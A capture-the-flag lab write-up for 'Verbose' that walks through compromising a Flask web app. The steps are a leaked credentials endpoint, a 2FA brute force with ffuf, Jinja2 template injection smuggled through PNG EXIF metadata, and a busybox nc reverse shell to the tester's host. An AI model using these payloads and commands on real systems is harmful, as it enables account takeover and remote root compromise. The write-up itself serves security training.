> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/verbose.md).

# Verbose

{% embed url="<https://www.hacksmarter.org/courses/5018ef14-b136-4331-aef0-8fb0a88a3efb>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

You have been authorized to perform an external penetration test against a target organization. During the initial reconnaissance phase, you identified a web application that allows unrestricted public user registration.

1. **Enumerate:** Map the application's attack surface and functionality.
2. **Identify:** Locate exploitable vulnerabilities within the application logic or configuration.
3. **Exploit & Escalate:** Leverage identified flaws to compromise the system, with the final goal of securing root access to the host server to demonstrate maximum impact.

## Summary

<details>

<summary>Summary</summary>

In Verbose we conduct an external web application hosted on port 80. In the initial enumeration phse we identified a verbose `/api/users/all` endpoint exposing plaintext credentials for all registered users, including the `admin` account. Using these credentials, we try to authenticate to the admin dashboard but are prompted for a 2FA code. Lacking rate limiting or code invalidation, we brute-force the 4-digit code via FFuF to gain access. Within the dashboard, an image upload feature allows metadata injection, leading to a server-side template injection (SSTI) vulnerability via EXIF data in uploaded PNG files. Exploiting this flaw, we achieve remote code execution, confirm root privileges, and establish a reverse shell, obtaining the final flag.

</details>

## Recon

We use rustscan `-b 500 -a 10.0.24.218 -- -sC -sV -Pn` to enumerate all TCP ports on the `DC01` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.0.24.218 -- -sC -sV -Pn
```

<figure><img src="/files/7TpYveKv0RbdIkaT1dvT" alt=""><figcaption></figcaption></figure>

We have SSH on port `22` available and a web service running `Werkzeug/3.1.5 Python/3.12.3` on port `80`.

<figure><img src="/files/bIoJFaSbjLujP2KHwshC" alt=""><figcaption></figcaption></figure>

We try to enumerate the directories and pages using Feroxbuster and find the `/messages` endpoint and login related endpoints to be reachable.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://10.0.24.218/ 
```

{% endcode %}

<figure><img src="/files/Ax2Bxrnpb2vqDgaMbEZB" alt=""><figcaption></figcaption></figure>

We visit the index page and get redirected to a login.

<figure><img src="/files/XLs6I9H7oPgK8pXwuaaF" alt=""><figcaption></figcaption></figure>

Using Wappalyzer we can confirm that the server is running flask.

<figure><img src="/files/YivUw4LDiWbVtpf0eFjr" alt=""><figcaption></figcaption></figure>

The initial enumeration revealed that login/register and reset endpoints are vulnerable to username enumeration. With our first login attempt as `admin`, we were able to directly confirm the username `admin` via the message 'Invalid password'.

<figure><img src="/files/jluFKFU1zJgnXeSMRWA0" alt=""><figcaption></figcaption></figure>

## Web Access as admin

During the enumeration phase, we also created a user and visited the message board. At the same time, we redirected our traffic to Burp Suite but did not intercept it. Upon further inspection, we found the `/api/users/all` endpoint in our HTTP history, which is 'somewhat too verbose' and leaks the credentials of all users on the platform.

<figure><img src="/files/7kGVEBGcuKpwr1eYhl69" alt=""><figcaption></figcaption></figure>

We try to log in as admin with the found credentials...

<figure><img src="/files/qMflUUbeoPAcNE74n7jF" alt=""><figcaption></figcaption></figure>

... and are requested a 2FA 4 digit verification. We note that there is no rate limiting and even after a failed attempt, the 2FA codes do not become invalid because in our brute force attempts we find the 2FA code.

<figure><img src="/files/W8tQKrm24wDQ2Wmz8Nhn" alt=""><figcaption></figcaption></figure>

We note down the session...

<figure><img src="/files/YUHLH0UE0kJ8wkgz2fhr" alt=""><figcaption></figcaption></figure>

... and inspect the POST request to craft our FFuF command to brute force the 2FA submission.

<figure><img src="/files/YWcugksNVgM77bgLZSMB" alt=""><figcaption></figcaption></figure>

With tht tool seq we craft a wordlist of all possible 2FA codes.

```
seq -w 0 9999 > ids.txt
```

<figure><img src="/files/Ygkf5hIOm1zeIcqyrGAE" alt=""><figcaption></figcaption></figure>

Next, we try every code, but only use 3 threads. In an initial attempt the appliaction throwed to many server errors without the limitation. This may take a while. The 2FA code might be different in other instances. We get a hit with a redirect code `302`.

{% code overflow="wrap" %}

```
ffuf -X POST -w ids.txt -u http://10.0.24.218/mfa -d 'code=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: session=<INSERT SESSION>' -fc 200 -t 3
```

{% endcode %}

<figure><img src="/files/eLNmAeEUr8bhAZNNTIWW" alt=""><figcaption></figcaption></figure>

We submit the 2FA code...

<figure><img src="/files/xYDelfkM0r0JjwGVIVax" alt=""><figcaption></figcaption></figure>

... and are able to log in as admin.

<figure><img src="/files/p6M9RwDsceD3VU4P1PAg" alt=""><figcaption></figcaption></figure>

At the admin dashboard we find the first flag.

<figure><img src="/files/9kjGIbBiXE8dM7Mi19Xm" alt=""><figcaption></figcaption></figure>

## Shell as root

On the admin dashboard we are able to submit a logo.

<figure><img src="/files/TtbRNcTI1iWLJj6ALBg9" alt=""><figcaption></figcaption></figure>

If we click on `Preview Current Logo` after uploading one, we see the logo. It also fetches the meta data of the image.

<figure><img src="/files/EU6au7ZEaaQCSUqNun0u" alt=""><figcaption></figcaption></figure>

Let's try to inject some metadata to our logo and see if it gets reflected. For this we are using exiftool.

```
exiftool -Artist="0xb0b" logo.png
```

<figure><img src="/files/E5ulQQCJM5Urh4IiTffw" alt=""><figcaption></figcaption></figure>

After re-uploading the image we see the meta data reflected.

<figure><img src="/files/ZAJuUMXQgDVM5eU9fWwk" alt=""><figcaption></figcaption></figure>

We try a simple SSTI payload, ...

```
exiftool -Artist="{{7*7}}" logo.png
```

<figure><img src="/files/kg9rosr6qp29OF5rktU5" alt=""><figcaption></figcaption></figure>

... re-upload the image,  and see it gets evaluated.

<figure><img src="/files/PcQtPEIpkt3oXNvsgQBU" alt=""><figcaption></figcaption></figure>

Since we know the application is running on Flask from our Wappalyzer enumeration we try a SSTI payload from one of my favourite blogs of Ingo Kleiber.

{% embed url="<https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/>" %}

We prepare the payload to print the `id` of the current user running the application.

```
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

We update the metadata.

{% code overflow="wrap" %}

```
exiftool -Artist="{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}" logo.png
```

{% endcode %}

<figure><img src="/files/sU0evUtXMWBqNB7EQrE8" alt=""><figcaption></figcaption></figure>

Upload the image and preview it, and we see it's running as root.

<figure><img src="/files/Bs7oeynyqx8WHqiSlnAW" alt=""><figcaption></figcaption></figure>

Next, we prepare a simple reverse shell payload...

{% code overflow="wrap" %}

```
exiftool -Artist="{{request.application.__globals__.__builtins__.__import__('os').popen('busybox nc 10.200.31.81 4445 -e bash').read()}}" logo.png
```

{% endcode %}

<figure><img src="/files/0XsFM7tQv7ZdZSRYxdSI" alt=""><figcaption></figcaption></figure>

upload the image again, set up a listener using Penelope and preview the logo again. This time it does not get rendered, but we get a connection back to our listener. We are `root` and find the final flag at `/root/root.txt`

<figure><img src="/files/9Zvwxse2GoAoPFP3863V" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/af7LMAqMcA1iqVcEIeHf" alt=""><figcaption></figcaption></figure>
